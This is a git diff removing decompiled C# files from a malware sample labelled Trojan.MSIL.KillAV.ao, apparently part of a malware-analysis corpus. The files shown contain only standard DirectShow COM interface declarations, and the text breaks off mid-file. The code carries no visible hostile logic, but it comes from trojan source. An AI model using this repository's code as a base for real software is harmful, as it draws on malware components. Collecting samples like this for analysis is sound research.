a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMTunerNotification.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMTunerNotification -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("211A8760-03AC-11d1-8D13-00AA00BD8339")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IAMTunerNotification - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int OnEvent(AMTunerEventType Event); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs deleted file mode 100644 index def74276..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IAMVfwCompressDialogs.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IAMVfwCompressDialogs -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("D8D715A3-6E5E-11D0-B3F0-00AA003761C5")] - [ComVisible(true)] - [ComImport] - public interface IAMVfwCompressDialogs - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShowDialog([In] VfwCompressDialogs iDialog, [In] IntPtr hwnd); - - int GetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), Out] byte[] pState, ref int pcbState); - - int SetState([MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 1), In] byte[] pState, [In] int cbState); - - int SendDriverMessage(int uMsg, long dw1, long dw2); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs deleted file mode 100644 index e0981527..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBaseFilter.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBaseFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("56a86895-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IBaseFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetClassID(out Guid pClassID); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Stop(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Pause(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Run(long tStart); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetState(int dwMilliSecsTimeout, out int filtState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSyncSource([In] IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSyncSource(out IReferenceClock pClock); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumPins(out IEnumPins ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin([MarshalAs(UnmanagedType.LPWStr), In] string Id, out IPin ppPin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryFilterInfo([Out] FilterInfo pInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int JoinFilterGraph([In] IFilterGraph pGraph, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int QueryVendorInfo([MarshalAs(UnmanagedType.LPWStr)] out string pVendorInfo); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs deleted file mode 100644 index a09aee1f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicAudio.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicAudio -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b3-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicAudio - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Volume(int lVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Volume(out int plVolume); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Balance(int lBalance); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Balance(out int plBalance); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs deleted file mode 100644 index 2ddbbc73..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IBasicVideo2.cs +++ /dev/null @@ -1,118 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IBasicVideo2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("329bb360-f6ea-11d1-9038-00a0c9697298")] - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IBasicVideo2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AvgTimePerFrame(out double pAvgTimePerFrame); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int BitErrorRate(out int pBitRate); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoWidth(out int pVideoWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int VideoHeight(out int pVideoHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceLeft(int SourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceLeft(out int pSourceLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceWidth(int SourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceWidth(out int pSourceWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceTop(int SourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceTop(out int pSourceTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_SourceHeight(int SourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_SourceHeight(out int pSourceHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationLeft(int DestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationLeft(out int pDestinationLeft); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationWidth(int DestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationWidth(out int pDestinationWidth); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationTop(int DestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationTop(out int pDestinationTop); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_DestinationHeight(int DestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_DestinationHeight(out int pDestinationHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetSourcePosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetSourcePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSourcePosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDestinationPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetDestinationPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultDestinationPosition(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoSize(out int pWidth, out int pHeight); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetVideoPaletteEntries(int StartIndex, int Entries, out int pRetrieved, IntPtr pPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurrentImage(ref int pBufferSize, IntPtr pDIBImage); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsUsingDefaultDestination(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPreferredAspectRatio(out int plAspectX, out int plAspectY); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs deleted file mode 100644 index be31812c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/ICaptureGraphBuilder2.cs +++ /dev/null @@ -1,78 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.ICaptureGraphBuilder2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D")] - [ComVisible(true)] - [ComImport] - public interface ICaptureGraphBuilder2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFiltergraph([In] IGraphBuilder pfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetFiltergraph(out IGraphBuilder ppfg); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetOutputFileName( - [In] ref Guid pType, - [MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, - out IBaseFilter ppbf, - out IFileSinkFilter ppSink); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindInterface( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pbf, - [In] ref Guid riid, - [MarshalAs(UnmanagedType.IUnknown)] out object ppint); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.IUnknown), In] object pSource, - [In] IBaseFilter pfCompressor, - [In] IBaseFilter pfRenderer); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ControlStream( - [In] ref Guid pCategory, - [In] ref Guid pType, - [In] IBaseFilter pFilter, - [In] long pstart, - [In] long pstop, - [In] short wStartCookie, - [In] short wStopCookie); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AllocCapFile([MarshalAs(UnmanagedType.LPWStr), In] string lpstrFile, [In] long dwlSize); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CopyCaptureFile( - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrOld, - [MarshalAs(UnmanagedType.LPWStr), In] string lpwstrNew, - [In] int fAllowEscAbort, - [In] IAMCopyCaptureFileProgress pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindPin( - [In] object pSource, - [In] int pindir, - [In] ref Guid pCategory, - [In] ref Guid pType, - [MarshalAs(UnmanagedType.Bool), In] bool fUnconnected, - [In] int num, - out IPin ppPin); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs deleted file mode 100644 index 39666bd2..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumFilters.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumFilters -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86893-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumFilters - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] uint cFilters, out IBaseFilter x, out uint pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cFilters); - - void Reset(); - - void Clone(out IEnumFilters ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs deleted file mode 100644 index c66193fe..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IEnumPins.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IEnumPins -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a86892-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IEnumPins - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Next([In] int cPins, [MarshalAs(UnmanagedType.LPArray), Out] IPin[] ppPins, out int pcFetched); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Skip([In] int cPins); - - void Reset(); - - void Clone(out IEnumPins ppEnum); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs deleted file mode 100644 index e1fc069c..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("a2104830-7c70-11cf-8bce-00aa00a3f1a6")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface IFileSinkFilter - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs deleted file mode 100644 index b993c56a..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFileSinkFilter2.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFileSinkFilter2 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("00855B90-CE1B-11d0-BD4F-00A0C911CE86")] - [ComVisible(true)] - [ComImport] - public interface IFileSinkFilter2 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetFileName([MarshalAs(UnmanagedType.LPWStr), In] string pszFileName, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetCurFile([MarshalAs(UnmanagedType.LPWStr)] out string pszFileName, [MarshalAs(UnmanagedType.LPStruct), Out] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetMode([In] int dwFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMode(out int dwFlags); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs deleted file mode 100644 index 0ba1766e..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IFilterGraph.cs +++ /dev/null @@ -1,42 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IFilterGraph -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a8689f-0ad4-11ce-b03a-0020af0ba770")] - [ComImport] - public interface IFilterGraph - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs deleted file mode 100644 index 3b16395d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IGraphBuilder.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IGraphBuilder -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("56a868a9-0ad4-11ce-b03a-0020af0ba770")] - [ComVisible(true)] - [ComImport] - public interface IGraphBuilder - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddFilter([In] IBaseFilter pFilter, [MarshalAs(UnmanagedType.LPWStr), In] string pName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RemoveFilter([In] IBaseFilter pFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int EnumFilters(out IEnumFilters ppEnum); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int FindFilterByName([MarshalAs(UnmanagedType.LPWStr), In] string pName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ConnectDirect([In] IPin ppinOut, [In] IPin ppinIn, [MarshalAs(UnmanagedType.LPStruct), In] AMMediaType pmt); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Reconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Disconnect([In] IPin ppin); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetDefaultSyncSource(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Connect([In] IPin ppinOut, [In] IPin ppinIn); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Render([In] IPin ppinOut); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int RenderFile([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFile, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrPlayList); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int AddSourceFilter([MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFileName, [MarshalAs(UnmanagedType.LPWStr), In] string lpcwstrFilterName, out IBaseFilter ppFilter); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetLogFile(IntPtr hFile); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int Abort(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int ShouldOperationContinue(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs deleted file mode 100644 index 94aa2a06..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IMediaControl.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IMediaControl -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("56a868b1-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - 